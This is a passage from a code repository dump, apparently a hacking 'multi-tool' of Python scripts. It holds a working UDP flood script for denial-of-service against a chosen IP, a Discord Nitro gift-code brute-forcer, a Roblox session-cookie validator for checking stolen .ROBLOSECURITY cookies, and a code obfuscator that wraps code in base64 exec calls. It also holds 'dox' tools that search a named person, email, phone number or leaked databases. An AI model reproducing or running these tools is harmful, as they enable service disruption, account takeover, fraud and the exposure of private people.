print("\033c", end="") 9 | 10 | def main(): 11 | pass 12 | 13 | def ErrorModule(e): 14 | print(f"ERROR: {e}") 15 | 16 | def generate_nitro_code(): 17 | code = ''.join(random.choices(string.ascii_letters + string.digits, k=16)) 18 | return code 19 | 20 | def nitro_check(): 21 | code_nitro = generate_nitro_code() 22 | url_nitro = f'https://discord.gift/{code_nitro}' 23 | 24 | try: 25 | response = requests.get(f'https://discordapp.com/api/v9/entitlements/gift-codes/{code_nitro}?with_application=false&with_subscription_plan=true', timeout=1) 26 | if response.status_code == 200: 27 | print(f"GEN_VALID Status: Valid | Nitro: {url_nitro}") 28 | else: 29 | print(f"GEN_INVALID Status: Invalid | Nitro: {url_nitro}") 30 | except requests.exceptions.RequestException as e: 31 | print(f"GEN_ERROR Status: Error - {e}") 32 | 33 | def request(threads_number): 34 | threads = [] 35 | try: 36 | for _ in range(threads_number): 37 | t = threading.Thread(target=nitro_check) 38 | t.start() 39 | threads.append(t) 40 | except ValueError: 41 | print("Invalid input for threads number.") 42 | 43 | for thread in threads: 44 | thread.join() 45 | 46 | if __name__ == "__main__": 47 | try: 48 | clear() 49 | 50 | threads_number = int(input("Threads Number: ")) 51 | 52 | while True: 53 | request(threads_number) 54 | 55 | except KeyboardInterrupt: 56 | print("\nProgram interrupted. Exiting...") 57 | except Exception as e: 58 | ErrorModule(e) 59 | -------------------------------------------------------------------------------- /utils/number_info.py: -------------------------------------------------------------------------------- 1 | import phonenumbers 2 | import os 3 | from phonenumbers import geocoder, carrier, timezone 4 | from pystyle import Colors 5 | 6 | def clear(): 7 | os.system('cls' if os.name == 'nt' else 'clear') 8 | 9 | 10 | def print_error(message): 11 | print(f"{Colors.red}Error: {message}{Colors.reset}") 12 | 13 | def main(): 14 | clear() 15 | 16 | 17 | try: 18 | while True: 19 | phone_number = input(f"{Colors.red}\nPhone Number : {Colors.reset}").strip() 20 | 21 | try: 22 | parsed_number = phonenumbers.parse(phone_number, None) 23 | if phonenumbers.is_valid_number(parsed_number): 24 | if phone_number.startswith("+"): 25 | country_code = "+" + phone_number[1:3] 26 | else: 27 | country_code = "None" 28 | operator = carrier.name_for_number(parsed_number, "fr") 29 | type_number = "Mobile" if phonenumbers.number_type(parsed_number) == phonenumbers.PhoneNumberType.MOBILE else "Fixe" 30 | timezones = timezone.time_zones_for_number(parsed_number) 31 | timezone_info = timezones[0] if timezones else "None" 32 | country = phonenumbers.region_code_for_number(parsed_number) 33 | region = geocoder.description_for_number(parsed_number, "fr") 34 | status = "Valid" 35 | 36 | print(f"""{Colors.red} 37 | Phone : {phone_number} 38 | Country Code : {country_code} 39 | Country : {country} 40 | Region : {region} 41 | Timezone : {timezone_info} 42 | Operator : {operator} 43 | Type Number : {type_number} 44 | {Colors.reset}""") 45 | 46 | else: 47 | print_error("Invalid format! [Ex: +442012345678 or +33623456789]") 48 | 49 | except Exception as e: 50 | print_error(f"Exception occurred: {e}") 51 | 52 | choice = input(f"{Colors.red}Do you want to continue? (y/n): {Colors.reset}").strip().lower() 53 | if choice != 'y': 54 | break 55 | 56 | except Exception as e: 57 | print_error(f"Error: {e}") 58 | 59 | if __name__ == "__main__": 60 | main() 61 | -------------------------------------------------------------------------------- /utils/obfuscator.py: -------------------------------------------------------------------------------- 1 | import re 2 | import random 3 | import string 4 | import time 5 | import base64 6 | import os 7 | import regex 8 | from pystyle import Colors 9 | 10 | class RandomDataTypeGenerator: 11 | def __init__(self): 12 | self.generator_options = [self.random_string, self.random_int] 13 | 14 | def get_random(self): 15 | return random.choice(self.generator_options)() 16 | 17 | def random_string(self, length=79): 18 | return "".join( 19 | random.choice(string.ascii_letters) 20 | for i in range(length) 21 | ) 22 | 23 | def random_int(self): 24 | return random.randint(0, 999) 25 | 26 | class VariableNameGenerator: 27 | def __init__(self): 28 | self.generator_options = [ 29 | self.random_string, 30 | self.l_and_i, 31 | self.time_based, 32 | self.just_id, 33 | self.scream, 34 | self.single_letter_a_lot, 35 | ] 36 | 37 | def get_random(self, id): 38 | return random.choice(self.generator_options)(id) 39 | 40 | def random_string(self, id, length=79): 41 | return "".join(random.choice(string.ascii_letters) for i in range(length)) + str(id) 42 | 43 | def l_and_i(self, id): 44 | return "".join(random.choice("Il") for i in range(id)) 45 | 46 | def time_based(self, id): 47 | return random.choice(string.ascii_letters) + str(time.time()).replace(".", "") + str(id) 48 | 49 | def just_id(self, id): 50 | return random.choice(string.ascii_letters) + str(id) 51 | 52 | def scream(self, id): 53 | return "".join(random.choice("Aa") for i in range(id)) 54 | 55 | def single_letter_a_lot(self, id): 56 | return random.choice(string.ascii_letters) * id 57 | 58 | def one_liner(code): 59 | formatted_code = re.sub( 60 | r"(;)\1+", 61 | ";", 62 | """exec(\"\"\"{};\"\"\")""".format( 63 | code.replace("\n", ";").replace('"""', '\\"\\"\\"') 64 | ), 65 | ) 66 | 67 | if formatted_code[0] == ';': 68 | return formatted_code[1:] 69 | return formatted_code 70 | 71 | def variable_renamer(code): 72 | code = "\n" + code 73 | variable_names = re.findall(r"(\w+)(?=( |)=( |))", code) 74 | name_generator = VariableNameGenerator() 75 | for i in range(len(variable_names)): 76 | obfuscated_name = name_generator.get_random(i + 1) 77 | code = re.sub( 78 | r"(?<=[^.])(\b{}\b)".format(variable_names[i][0]), obfuscated_name, code 79 | ) 80 | return code 81 | 82 | def add_random_variables(code): 83 | useless_variables_to_add = random.randint(100, 400) 84 | name_generator = VariableNameGenerator() 85 | data_generator = RandomDataTypeGenerator() 86 | for v in range(1, useless_variables_to_add): 87 | rand_data = data_generator.get_random() 88 | if type(rand_data) == str: 89 | rand_data = '"{}"'.format(rand_data) 90 | if v % 2 == 0: 91 | code = "{} = {}\n".format(name_generator.get_random(v), rand_data) + code 92 | else: 93 | code = code + "\n{} = {}".format(name_generator.get_random(v), rand_data) 94 | return code 95 | 96 | def str_to_hex_bytes(code): 97 | python_string_decoraters = ['"""', "'''", '"', "'"] 98 | 99 | for s in python_string_decoraters: 100 | pattern = r"((?<=(( | |\n)\w+( |)=( |))({}))[\W\w]*?(?=({})))".format(s, s) 101 | t = regex.findall(pattern, code) 102 | for v in t: 103 | string_contents = v[0] 104 | if s == '"' and string_contents == '"': 105 | continue 106 | if s == "'" and string_contents == "'": 107 | continue 108 | hex_bytes = "\\" + "\\".join( 109 | x.encode("utf-8").hex() for x in string_contents 110 | ) 111 | code = regex.sub(pattern, str(hex_bytes).replace("\\", "\\\\"), code) 112 | 113 | return code 114 | 115 | def encode_base64(code): 116 | encoded_code = base64.b64encode(code.encode('utf-8')).decode('utf-8') 117 | return f"import base64; exec(base64.b64decode('{encoded_code}').decode('utf-8'))" 118 | 119 | def inject_useless_code(code): 120 | useless_code = "\n".join( 121 | f"try:\n {random.choice(string.ascii_letters)} = {random.choice([self.random_string(), self.random_int()])}" 122 | for _ in range(random.randint(10, 30)) 123 | ) 124 | return useless_code + "\n" + code 125 | 126 | def obfuscate(code, remove_techniques=[]): 127 | if len(remove_techniques) == 0: 128 | methods = all_methods 129 | else: 130 | methods = all_methods.copy() 131 | for technique in remove_techniques: 132 | methods.remove(technique) 133 | 134 | for technique in methods: 135 | code = technique(code) 136 | 137 | return code 138 | 139 | all_methods = [variable_renamer, add_random_variables, one_liner, str_to_hex_bytes, encode_base64, inject_useless_code] 140 | 141 | def main(): 142 | os.system('cls' if os.name == 'nt' else 'clear') 143 | 144 | input_file = input(f"{Colors.red}Enter the path of the file to obfuscate : ") 145 | 146 | if not os.path.isfile(input_file): 147 | print("File not found.") 148 | return 149 | 150 | with open(input_file, 'r', encoding='utf-8') as file: 151 | code = file.read() 152 | 153 | obfuscated_code = obfuscate(code) 154 | 155 | output_file = os.path.join(os.path.dirname(input_file), "obfuscated_" + os.path.basename(input_file)) 156 | with open(output_file, 'w', encoding='utf-8') as file: 157 | file.write(obfuscated_code) 158 | 159 | print(f"{Colors.red}Obfuscated code saved to {output_file}") 160 | 161 | if __name__ == "__main__": 162 | main() 163 | -------------------------------------------------------------------------------- /utils/osint/ddos_ip.py: -------------------------------------------------------------------------------- 1 | from socket import socket, AF_INET, SOCK_DGRAM 2 | from threading import Thread 3 | import os 4 | from random import randint 5 | from time import time, sleep 6 | from getpass import getpass as hinput 7 | 8 | def clear_screen(): 9 | os.system('cls' if os.name == 'nt' else 'clear') 10 | 11 | class UDPFlooder: 12 | def __init__(self, ip, port, packet_size, thread_count): 13 | self.ip = ip 14 | self.port = port 15 | self.packet_size = packet_size 16 | self.thread_count = thread_count 17 | 18 | self.client = socket(AF_INET, SOCK_DGRAM) 19 | self.packet_data = b"x" * self.packet_size 20 | self.packet_length = len(self.packet_data) 21 | 22 | def start_flood(self): 23 | self.is_active = True 24 | self.sent_bytes = 0 25 | for _ in range(self.thread_count): 26 | Thread(target=self.send_packets).start() 27 | Thread(target=self.monitor_traffic).start() 28 | 29 | def stop_flood(self): 30 | self.is_active = False 31 | 32 | def send_packets(self): 33 | while self.is_active: 34 | try: 35 | self.client.sendto(self.packet_data, (self.ip, self._get_random_port())) 36 | self.sent_bytes += self.packet_length 37 | except Exception as e: 38 | print(f"Error sending packet: {e}") 39 | 40 | def _get_random_port(self): 41 | return self.port if self.port else randint(1, 65535) 42 | 43 | def monitor_traffic(self): 44 | interval = 0.05 45 | start_time = time() 46 | total_bytes_sent = 0 47 | while self.is_active: 48 | sleep(interval) 49 | current_time = time() 50 | if current_time - start_time >= 1: 51 | speed_mbps = self.sent_bytes * 8 / (1024 * 1024) / (current_time - start_time) 52 | total_bytes_sent += self.sent_bytes 53 | print(f"Speed: {speed_mbps:.2f} Mb/s - Total: {total_bytes_sent / (1024 * 1024 * 1024):.2f} Gb", end='\r') 54 | start_time = current_time 55 | self.sent_bytes = 0 56 | 57 | def get_input(prompt, default=None, cast_type=int): 58 | value = input(prompt) 59 | if value == '': 60 | return default 61 | try: 62 | return cast_type(value) 63 | except ValueError: 64 | print(f"Invalid input. Please enter a valid {cast_type.__name__}.") 65 | return get_input(prompt, default, cast_type) 66 | 67 | def main(): 68 | clear_screen() 69 | ip = input("Enter the target IP address: ") 70 | if not ip.count('.') == 3: 71 | print("Error! Please enter a valid IP address.") 72 | return 73 | 74 | port = get_input("Enter the target port (or press enter to target all ports): ", default=None, cast_type=int) 75 | packet_size = get_input("Enter the packet size in bytes (default is 1250): ", default=1250) 76 | thread_count = get_input("Enter the number of threads (default is 100): ", default=100) 77 | 78 | flooder = UDPFlooder(ip, port, packet_size, thread_count) 79 | 80 | try: 81 | flooder.start_flood() 82 | print(f"Starting attack on {ip}:{port if port else 'all ports'}") 83 | while True: 84 | sleep(1000000) 85 | except KeyboardInterrupt: 86 | flooder.stop_flood() 87 | print(f"Attack stopped. Total data sent: {flooder.sent_bytes / (1024 * 1024 * 1024):.2f} Gb") 88 | 89 | if __name__ == '__main__': 90 | main() 91 | -------------------------------------------------------------------------------- /utils/osint/dox_tracker.py: -------------------------------------------------------------------------------- 1 | import webbrowser 2 | import os 3 | 4 | def clear(): 5 | os.system('cls' if os.name == 'nt' else 'clear') 6 | 7 | def handle_error(error_message): 8 | print(f"Error: {error_message}") 9 | 10 | def display_search_options(): 11 | options = """ 12 | 1 - Username 13 | 2 - Last Name, First Name 14 | 3 - General Search 15 | """ 16 | print(options) 17 | 18 | def get_search_input(search_type): 19 | if search_type in ['1', '01']: 20 | return input("Enter Username: ") 21 | elif search_type in ['2', '02']: 22 | last_name = input("Enter Last Name: ") 23 | first_name = input("Enter First Name: ") 24 | return last_name, first_name 25 | elif search_type in ['3', '03']: 26 | return input("Enter Search Query: ") 27 | else: 28 | raise ValueError("Invalid search type") 29 | 30 | def display_site_options(): 31 | options = """ 32 | 1 - Facebook.com 33 | 2 - Youtube.com 34 | 3 - Twitter.com 35 | 4 - Tiktok.com 36 | 5 - Peekyou.com 37 | 6 - Tumblr.com 38 | 7 - PagesJaunes.fr 39 | """ 40 | print(options) 41 | 42 | def generate_search_url(site, search_type, search_terms): 43 | base_urls = { 44 | '1': "https://www.facebook.com/search/top/?init=quick&q=", 45 | '2': "https://www.youtube.com/results?search_query=", 46 | '3': "https://twitter.com/search?f=users&vertical=default&q=", 47 | '4': "https://www.tiktok.com/search?q=", 48 | '5': "https://www.peekyou.com/", 49 | '6': "https://www.tumblr.com/search/", 50 | '7': "https://www.pagesjaunes.fr/pagesblanches/recherche?quoiqui=" 51 | } 52 | 53 | if search_type == '2': 54 | last_name, first_name = search_terms 55 | query = f"{last_name} {first_name}" 56 | else: 57 | query = search_terms 58 | 59 | url = base_urls.get(site, '') + query 60 | if site == '5': 61 | url = f"{url}{query.replace(' ', '_')}" 62 | 63 | webbrowser.open(url) 64 | 65 | def main(): 66 | try: 67 | clear() 68 | display_search_options() 69 | search_type = input("Select Search Type: ") 70 | 71 | search_terms = get_search_input(search_type) 72 | 73 | while True: 74 | display_site_options() 75 | site_choice = input("Select Site: ") 76 | 77 | if site_choice in ['1', '2', '3', '4', '5', '6', '7']: 78 | generate_search_url(site_choice, search_type, search_terms) 79 | else: 80 | print("Invalid site choice. Please select a valid option.") 81 | 82 | except Exception as e: 83 | handle_error(e) 84 | 85 | if __name__ == "__main__": 86 | main() 87 | -------------------------------------------------------------------------------- /utils/osint/email_info.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | from emailrep import EmailRep 3 | import re 4 | 5 | def clear(): 6 | import os 7 | os.system('cls' if os.name == 'nt' else 'clear') 8 | 9 | def handle_error(error_message): 10 | print(f"Error: {error_message}") 11 | 12 | def check_email_with_holehe(email): 13 | try: 14 | result = subprocess.run(['holehe', email, '--only-used'], capture_output=True, text=True) 15 | if result.returncode != 0: 16 | handle_error("An error occurred while running holehe") 17 | return 18 | 19 | output_lines = result.stdout.split('\n') 20 | print(f"\nResults from Holehe for email: {email}\n") 21 | for line in output_lines: 22 | match = re.match(r"\[\+\] Email used: .* on (.*)", line) 23 | if match: 24 | print(match.group(1)) 25 | 26 | except Exception as e: 27 | handle_error(f"Error executing holehe: {str(e)}") 28 | 29 | def get_email_information_with_emailrep(email): 30 | api = EmailRep() 31 | try: 32 | response = api.query(email) 33 | if response: 34 | print(f"\nResults from EmailRep.io:") 35 | print(f"Email: {email}") 36 | 37 | reputation = response.get('reputation', 'N/A') 38 | details = response.get('details', {}) 39 | 40 | print(f"> Reputation: {reputation}") 41 | 42 | if details: 43 | print(f"Sources: {details.get('sources', 'N/A')}") 44 | print(f"Account creation date: {details.get('date_creation', 'N/A')}") 45 | print(f"Last seen: {details.get('last_seen', 'N/A')}") 46 | print(f"Days since last seen: {details.get('days_since_last_seen', 'N/A')}") 47 | print(f"Blacklist status: {details.get('blacklisted', 'N/A')}") 48 | print(f"Malicious status: {details.get('malicious_activity', 'N/A')}") 49 | else: 50 | print("Details: N/A") 51 | 52 | else: 53 | print(f"No information found for {email}") 54 | 55 | except Exception as e: 56 | handle_error(f"Error querying EmailRep.io: {str(e)}") 57 | 58 | def main(): 59 | clear() 60 | email = input("Enter the email address: ").strip() 61 | check_email_with_holehe(email) 62 | get_email_information_with_emailrep(email) 63 | input("\nPress ENTER to exit...") 64 | 65 | if __name__ == "__main__": 66 | main() 67 | -------------------------------------------------------------------------------- /utils/osint/instagram_user_info.py: -------------------------------------------------------------------------------- 1 | import instaloader 2 | import os 3 | 4 | loader = instaloader.Instaloader() 5 | 6 | def clear(): 7 | os.system('cls' if os.name == 'nt' else 'clear') 8 | 9 | def handle_error(message): 10 | print(f"Error: {message}") 11 | 12 | def get_profile_info(username): 13 | try: 14 | profile = instaloader.Profile.from_username(loader.context, username) 15 | 16 | print(f"Username: {profile.username}") 17 | print(f"Name: {profile.full_name}") 18 | print(f"Bio: {profile.biography}") 19 | print(f"Followers: {profile.followers}") 20 | print(f"Following: {profile.followees}") 21 | print(f"Posts: {profile.mediacount}") 22 | print(f"Profile Picture URL: {profile.profile_pic_url}") 23 | 24 | for post in profile.get_posts(): 25 | print(f"Post URL: {post.url}") 26 | print(f"Caption: {post.caption[:100]}") 27 | print(f"Likes: {post.likes}") 28 | print(f"Comments: {post.comments}") 29 | print() 30 | 31 | except instaloader.exceptions.InstaloaderException as e: 32 | handle_error(str(e)) 33 | 34 | if __name__ == "__main__": 35 | clear() 36 | username = input("Enter Instagram username: ") 37 | get_profile_info(username) 38 | -------------------------------------------------------------------------------- /utils/osint/number_info.py: -------------------------------------------------------------------------------- 1 | import phonenumbers 2 | import os 3 | from phonenumbers import geocoder, carrier, timezone 4 | 5 | def clear(): 6 | os.system('cls' if os.name == 'nt' else 'clear') 7 | 8 | def print_error(message): 9 | print(f"Error: {message}") 10 | 11 | def main(): 12 | clear() 13 | 14 | try: 15 | while True: 16 | phone_number = input("Phone Number: ").strip() 17 | 18 | try: 19 | parsed_number = phonenumbers.parse(phone_number, None) 20 | if phonenumbers.is_valid_number(parsed_number): 21 | if phone_number.startswith("+"): 22 | country_code = "+" + phone_number[1:3] 23 | else: 24 | country_code = "None" 25 | operator = carrier.name_for_number(parsed_number, "en") 26 | type_number = "Mobile" if phonenumbers.number_type(parsed_number) == phonenumbers.PhoneNumberType.MOBILE else "Fixed" 27 | timezones = timezone.time_zones_for_number(parsed_number) 28 | timezone_info = timezones[0] if timezones else "None" 29 | country = phonenumbers.region_code_for_number(parsed_number) 30 | region = geocoder.description_for_number(parsed_number, "en") 31 | status = "Valid" 32 | 33 | print(f""" 34 | Phone: {phone_number} 35 | Country Code: {country_code} 36 | Country: {country} 37 | Region: {region} 38 | Timezone: {timezone_info} 39 | Operator: {operator} 40 | Type Number: {type_number} 41 | """) 42 | 43 | else: 44 | print_error("Invalid format! [Ex: +442012345678 or +33623456789]") 45 | 46 | except Exception as e: 47 | print_error(f"Exception occurred: {e}") 48 | 49 | choice = input("Do you want to continue? (y/n): ").strip().lower() 50 | if choice != 'y': 51 | break 52 | 53 | except Exception as e: 54 | print_error(f"Error: {e}") 55 | 56 | if __name__ == "__main__": 57 | main() 58 | -------------------------------------------------------------------------------- /utils/osint/roblox_cookie_info.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import os 3 | 4 | def clear(): 5 | os.system('cls' if os.name == 'nt' else 'clear') 6 | 7 | def get_roblox_info(cookie): 8 | url = "https://www.roblox.com/mobileapi/userinfo" 9 | try: 10 | response = requests.get(url, cookies={".ROBLOSECURITY": cookie}) 11 | response.raise_for_status() 12 | info = response.json() 13 | status = "Valid" 14 | except requests.RequestException as e: 15 | print(f"An error occurred while retrieving the information: {e}") 16 | return { 17 | "status": "Invalid", 18 | "username": "None", 19 | "user_id": "None", 20 | "robux": "None", 21 | "premium": "None", 22 | "avatar": "None", 23 | "builders_club": "None" 24 | } 25 | 26 | return { 27 | "status": status, 28 | "username": info.get('UserName', "None"), 29 | "user_id": info.get("UserID", "None"), 30 | "robux": info.get("RobuxBalance", "None"), 31 | "premium": info.get("IsPremium", "None"), 32 | "avatar": info.get("ThumbnailUrl", "None"), 33 | "builders_club": info.get("IsAnyBuildersClubMember", "None") 34 | } 35 | 36 | def main(): 37 | clear() 38 | cookie = input("Cookie: ") 39 | 40 | user_info = get_roblox_info(cookie) 41 | 42 | print(f" 43 | Status: {user_info['status']} 44 | Username: {user_info['username']} 45 | Id: {user_info['user_id']} 46 | Robux: {user_info['robux']} 47 | Premium: {user_info['premium']} 48 | Builders Club: {user_info['builders_club']} 49 | Avatar: {user_info['avatar']} 50 | ") 51 | 52 | if __name__ == "__main__": 53 | main() 54 | -------------------------------------------------------------------------------- /utils/osint/roblox_id_info.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import os 3 | 4 | def clear(): 5 | os.system('cls' if os.name == 'nt' else 'clear') 6 | 7 | def print_error(message): 8 | print(f"Error: {message}") 9 | 10 | def print_info(message): 11 | print(message) 12 | 13 | def format_value(value, default="Unknown"): 14 | if value is None: 15 | return default 16 | elif isinstance(value, bool): 17 | return "Yes" if value else "No" 18 | return value 19 | 20 | def main(): 21 | clear() 22 | 23 | while True: 24 | user_id = input("\nEnter the user ID: ").strip() 25 | 26 | if user_id.lower() == 'exit': 27 | break 28 | 29 | try: 30 | user_info_response = requests.get(f"https://users.roblox.com/v1/users/{user_id}") 31 | user_info = user_info_response.json() 32 | 33 | if user_info_response.status_code != 200: 34 | print_error("Invalid user ID or unable to retrieve information.") 35 | else: 36 | userid = format_value(user_info.get('id')) 37 | display_name = format_value(user_info.get('displayName')) 38 | username = format_value(user_info.get('name')) 39 | description = format_value(user_info.get('description'), "Not available") 40 | created_at = format_value(user_info.get('created')) 41 | is_banned = format_value(user_info.get('isBanned')) 42 | external_app_display_name = format_value(user_info.get('externalAppDisplayName'), "Not available") 43 | has_verified_badge = format_value(user_info.get('hasVerifiedBadge')) 44 | join_date = format_value(user_info.get('created')) 45 | 46 | groups_response = requests.get(f"https://groups.roblox.com/v2/users/{user_id}/groups/roles") 47 | groups_info = groups_response.json().get('data', []) 48 | groups = ", ".join([group['group']['name'] for group in groups_info]) or "No groups" 49 | 50 | favorites_response = requests.get(f"https://games.roblox.com/v2/users/{user_id}/favorite/games") 51 | favorites_info = favorites_response.json().get('data', []) 52 | favorite_games = ", ".join([game['name'] for game in favorites_info]) or "No favorite games" 53 | 54 | info_text = f" 55 | Username: {username} 56 | Id: {userid} 57 | Display Name: {display_name} 58 | Description: {description} 59 | Created: {created_at} 60 | Banned: {is_banned} 61 | External Name: {external_app_display_name} 62 | Verified Badge: {has_verified_badge} 63 | Join Date: {join_date} 64 | Groups: {groups} 65 | Favorite Games: {favorite_games} 66 | " 67 | 68 | print_info(info_text) 69 | input("Press Enter to continue...") 70 | 71 | except Exception as e: 72 | print_error(f"An error occurred: {e}") 73 | 74 | if __name__ == "__main__": 75 | main() 76 | -------------------------------------------------------------------------------- /utils/osint/roblox_user_info.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import os 3 | from pystyle import Colors, Colorate 4 | 5 | def clear(): 6 | os.system('cls' if os.name == 'nt' else 'clear') 7 | 8 | 9 | def print_error(message): 10 | print(f"{Colors.red}Error: {message}{Colors.reset}") 11 | 12 | def print_info(message): 13 | print(f"{Colors.red}{message}{Colors.reset}") 14 | 15 | def format_value(value, default="Unknown"): 16 | if value is None: 17 | return default 18 | elif isinstance(value, bool): 19 | return "Yes" if value else "No" 20 | return value 21 | 22 | def Error(e): 23 | print_error(f"An error occurred: {e}") 24 | 25 | def ErrorUsername(): 26 | print_error("Invalid username or unable to retrieve information.") 27 | 28 | def main(): 29 | clear() 30 | 31 | while True: 32 | username = input(f"{Colors.red}\nEnter the username (or 'exit' to quit): {Colors.reset}").strip() 33 | 34 | if username.lower() == 'exit': 35 | break 36 | 37 | try: 38 | user_id_response = requests.get(f"https://api.roblox.com/users/get-by-username?username={username}") 39 | user_id_info = user_id_response.json() 40 | 41 | if user_id_response.status_code != 200 or 'Id' not in user_id_info: 42 | ErrorUsername() 43 | else: 44 | user_id = user_id_info['Id'] 45 | 46 | user_info_response = requests.get(f"https://users.roblox.com/v1/users/{user_id}") 47 | user_info = user_info_response.json() 48 | 49 | if user_info_response.status_code != 200: 50 | ErrorUsername() 51 | else: 52 | userid = format_value(user_info.get('id')) 53 | display_name = format_value(user_info.get('displayName')) 54 | username = format_value(user_info.get('name')) 55 | description = format_value(user_info.get('description'), "Not available") 56 | created_at = format_value(user_info.get('created')) 57 | is_banned = format_value(user_info.get('isBanned')) 58 | external_app_display_name = format_value(user_info.get('externalAppDisplayName'), "Not available") 59 | has_verified_badge = format_value(user_info.get('hasVerifiedBadge')) 60 | join_date = format_value(user_info.get('created')) 61 | 62 | groups_response = requests.get(f"https://groups.roblox.com/v2/users/{user_id}/groups/roles") 63 | groups_info = groups_response.json().get('data', []) 64 | groups = ", ".join([group['group']['name'] for group in groups_info]) or "No groups" 65 | 66 | favorites_response = requests.get(f"https://games.roblox.com/v2/users/{user_id}/favorite/games") 67 | favorites_info = favorites_response.json().get('data', []) 68 | favorite_games = ", ".join([game['name'] for game in favorites_info]) or "No favorite games" 69 | 70 | info_text = f"""{Colors.red} 71 | Username: {username} 72 | Id: {userid} 73 | Display Name: {display_name} 74 | Description: {description} 75 | Created: {created_at} 76 | Banned: {is_banned} 77 | External Name: {external_app_display_name} 78 | Verified Badge: {has_verified_badge} 79 | Join Date: {join_date} 80 | Groups: {groups} 81 | Favorite Games: {favorite_games} 82 | {Colors.reset}""" 83 | 84 | print_info(info_text) 85 | input(f"{Colors.yellow}Press Enter to continue...{Colors.reset}") 86 | 87 | except Exception as e: 88 | Error(e) 89 | 90 | if __name__ == "__main__": 91 | main() 92 | -------------------------------------------------------------------------------- /utils/osint/search_database.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | def clear(): 4 | os.system('cls' if os.name == 'nt' else 'clear') 5 | 6 | def search_in_file(file_path, search_term): 7 | try: 8 | with open(file_path, 'r', encoding='utf-8') as file: 9 | for line_number, line in enumerate(file, start=1): 10 | if search_term in line: 11 | return line_number, line.strip().replace(search_term, f"\033[93m{search_term}\033[0m") 12 | except UnicodeDecodeError: 13 | try: 14 | with open(file_path, 'r', encoding='latin-1') as file: 15 | for line_number, line in enumerate(file, start=1): 16 | if search_term in line: 17 | return line_number, line.strip().replace(search_term, f"\033[93m{search_term}\033[0m") 18 | except Exception as e: 19 | print(f"Error reading file '{file_path}': {e}") 20 | except Exception as e: 21 | print(f"Error reading file '{file_path}': {e}") 22 | return None, None 23 | 24 | def search_directory(directory, search_term): 25 | total_files = 0 26 | found_results = False 27 | 28 | for root, dirs, files in os.walk(directory): 29 | for file_name in files: 30 | file_path = os.path.join(root, file_name) 31 | result_line_number, result_line = search_in_file(file_path, search_term) 32 | total_files += 1 33 | 34 | if result_line_number: 35 | found_results = True 36 | print(f"File: {file_name}") 37 | print(f"Result: {result_line}") 38 | print() 39 | 40 | return total_files, found_results 41 | 42 | def main(): 43 | clear() 44 | folder_path = "Database" 45 | absolute_path = os.path.abspath(folder_path) 46 | 47 | search_term = input("Enter search term: ").strip() 48 | 49 | if not search_term: 50 | print("Search term cannot be empty.") 51 | return 52 | 53 | try: 54 | total_files, found_results = search_directory(absolute_path, search_term) 55 | if not found_results: 56 | print(f"No matches found for '{search_term}'.") 57 | print(f"Total files checked: {total_files}") 58 | except Exception as e: 59 | print(f"An error occurred during the search: {e}") 60 | 61 | if __name__ == "__main__": 62 | main() 63 | -------------------------------------------------------------------------------- /utils/other/get_ip.py: -------------------------------------------------------------------------------- 1 | import os 2 | import socket 3 | import requests 4 | from json import JSONDecodeError 5 | from pystyle import Colors 6 | 7 | def handle_error(e): 8 | print(f"{Colors.red}Error: {e}{Colors.reset}") 9 | 10 | def clear_screen(): 11 | os.system('cls' if os.name == 'nt' else 'clear') 12 | 13 | def main(): 14 | clear_screen() 15 | 16 | try: 17 | print(f"{Colors.red}\nYour IP is not sent to anyone.{Colors.reset}") 18 | 19 | try: 20 | response = requests.get('https://api.ipify.org?format=json') 21 | ip_address_public = response.json().get('ip', 'None') 22 | except (requests.RequestException, JSONDecodeError) as e: 23 | ip_address_public = "None" 24 | handle_error(e) 25 | 26 | try: 27 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 28 | s.connect(('8.8.8.8', 80)) 29 | ip_address_local = s.getsockname()[0] 30 | s.close() 31 | except Exception as e: 32 | ip_address_local = "None" 33 | handle_error(e) 34 | 35 | try: 36 | ip_address_ipv6 = [] 37 | all_interfaces = socket.getaddrinfo(socket.gethostname(), None) 38 | for interface in all_interfaces: 39 | if interface[0] == socket.AF_INET6: 40 | ip_address_ipv6.append(interface[4][0]) 41 | ip_address_ipv6 = ' / '.join(ip_address_ipv6) if ip_address_ipv6 else "None" 42 | except Exception as e: 43 | ip_address_ipv6 = "None" 44 | handle_error(e) 45 | 46 | clear_screen() 47 | print(f"""{Colors.red} 48 | IP Public (IPv4) : {ip_address_public} 49 | IP Local (IPv4) : {ip_address_local} 50 | IPv6 : {ip_address_ipv6} 51 | """) 52 | 53 | except Exception as e: 54 | handle_error(e) 55 | 56 | if __name__ == "__main__": 57 | main() 58 | -------------------------------------------------------------------------------- /utils/other/obfuscator.py: -------------------------------------------------------------------------------- 1 | import re 2 | import random 3 | import string 4 | import time 5 | import base64 6 | import os 7 | import regex 8 | from pystyle import Colors 9 | 10 | class RandomDataTypeGenerator: 11 | def __init__(self): 12 | self.generator_options = [self.random_string, self.random_int] 13 | 14 | def get_random(self): 15 | return random.choice(self.generator_options)() 16 | 17 | def random_string(self, length=79): 18 | return "".join( 19 | random.choice(string.ascii_letters) 20 | for i in range(length) 21 | ) 22 | 23 | def random_int(self): 24 | return random.randint(0, 999) 25 | 26 | class VariableNameGenerator: 27 | def __init__(self): 28 | self.generator_options = [ 29 | self.random_string, 30 | self.l_and_i, 31 | self.time_based, 32 | self.just_id, 33 | self.scream, 34 | self.single_letter_a_lot, 35 | ] 36 | 37 | def get_random(self, id): 38 | return random.choice(self.generator_options)(id) 39 | 40 | def random_string(self, id, length=79): 41 | return "".join(random.choice(string.ascii_letters) for i in range(length)) + str(id) 42 | 43 | def l_and_i(self, id): 44 | return "".join(random.choice("Il") for i in range(id)) 45 | 46 | def time_based(self, id): 47 | return random.choice(string.ascii_letters) + str(time.time()).replace(".", "") + str(id) 48 | 49 | def just_id(self, id): 50 | return random.choice(string.ascii_letters) + str(id) 51 | 52 | def scream(self, id): 53 | return "".join(random.choice("Aa") for i in range(id)) 54 | 55 | def single_letter_a_lot(self, id): 56 | return random.choice(string.ascii_letters) * id 57 | 58 | def one_liner(code): 59 | formatted_code = re.sub( 60 | r"(;)\1+", 61 | ";", 62 | """exec(\"\"\"{};\"\"\")""".format( 63 | code.replace("\n", ";").replace('"""', '\\"\\"\\"') 64 | ), 65 | ) 66 | 67 | if formatted_code[0] == ';': 68 | return formatted_code[1:] 69 | return formatted_code 70 